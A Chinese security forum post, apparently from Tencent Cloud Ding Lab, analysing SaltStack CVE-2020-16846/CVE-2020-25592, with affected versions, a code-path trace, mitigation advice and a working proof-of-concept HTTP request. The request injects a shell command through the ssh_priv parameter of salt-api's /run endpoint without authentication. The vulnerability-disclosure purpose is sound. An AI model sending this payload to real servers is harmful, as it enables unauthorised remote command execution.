用户
搜索
  • TA的每日心情
    开心
    2018-12-25 11:26
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    55

    主题

    63

    帖子

    655

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2018-6-12

    i春秋认证

    发表于 2020-11-13 11:02:37 03850
    本帖最后由 云鼎实验室 于 2020-11-13 12:01 编辑

    一、背景

    漏洞概述:


    SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:


    •     配置管理系统,能够将远程节点维护在一个预定义的状态(例如,确保安装特定的软件包并运行特定的服务)


    •     分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据


    2020年11月4日,SaltStack 官方发布了一则安全更新公告,其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。


    漏洞编号:
    CVE-2020-16846、CVE-2020-25592

    受影响版本:

      •     3002

      •     3001.1, 3001.2

      •     3000.3, 3000.4

      •     2019.2.5, 2019.2.6

      •     2018.3.5

      •     2017.7.4, 2017.7.8

      •     2016.11.3, 2016.11.6,2016.11.10

      •     2016.3.4, 2016.3.6,2016.3.8

      •     2015.8.10, 2015.8.13


    二、漏洞分析及POC

    漏洞分析



    截至2020年11月11日,补丁代码尚未与Github中master分支代码合并,故可直接从
    SaltStack官方Github仓库获取,目前master的代码版本为3002,系统为Mac,版本号相差较大时代码变动较大,需另作分析。


    [AppleScript] 纯文本查看 复制代码
    Salt Version:
              Salt: 3002-56-g3e269eda82
     
    Dependency Versions:
              cffi: 1.14.3
          cherrypy: unknown
          dateutil: Not Installed
         docker-py: Not Installed
             gitdb: 4.0.5
         gitpython: 3.1.11
            Jinja2: 2.11.2
           libgit2: Not Installed
          M2Crypto: Not Installed
              Mako: 1.0.7
           msgpack: 1.0.0
      msgpack-pure: Not Installed
      mysql-python: Not Installed
         pycparser: 2.19
          pycrypto: Not Installed
      pycryptodome: 3.9.9
            pygit2: Not Installed
            Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
      python-gnupg: Not Installed
            PyYAML: 5.3.1
             PyZMQ: 19.0.2
             smmap: 3.0.4
           timelib: Not Installed
           Tornado: 4.5.3
               ZMQ: 4.3.2
     
    System Versions:
              dist: darwin 19.6.0 
            locale: utf-8
           machine: x86_64
           release: 19.6.0
            system: Darwin
           version: 10.15.6 x86_64

    salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
    文中指定代码位置采用以下约定:FileLocation:Classname.method()
    salt/netapi/init.py:NetapiClient.run()




    low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。
    当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(),该方法未采用任何鉴权
    salt/netapi/init.py:NetapiClient.ssh()



    跟进,路径如下:


    salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
    salt/client/ssh/client.py:SSHClient._prep_ssh()




    该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。
    salt/client/ssh/init.py:SSH.__init__()



    priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。
    salt/client/ssh/shell.py:gen_key()



    该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。

    POC
    由上分析可知,POC如下:
    [AppleScript] 纯文本查看 复制代码
    POST /run HTTP/1.1
    Host: 127.0.0.1:8000
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: application/x-yaml
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 109
    
    token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b



    关于复现环境
    1. Mac上复现需要手动创建日志文件夹、配置文件夹等,并需要手动写入相关配置。
    2. Docker从官方环境拉取的镜像中默认没有SSH,故执行该poc时salt-api会挂掉,经测试3002版本自动重启,3000.4版本、2019.2.5版本则不会。故当salt-api挂掉时,优先考虑当前机器上是否有SSH软件。

    三、安全建议
    1. 尽快修复。由于官方并未放出升级包,故目前仍需要手动进行修复,这里是官方安全通告和修复补丁。
    2. 如非必须使用salt-api,请关闭该功能。





    腾讯安全云鼎实验室,关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息,帮助客户抵御高级可持续攻击;联合腾讯所有安全实验室进行安全漏洞的研究,确保云计算平台整体的安全性。相关能力通过腾讯云开放出来,为用户提供黑客入侵检测和漏洞风险预警等服务,帮助企业解决服务器安全问题。
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册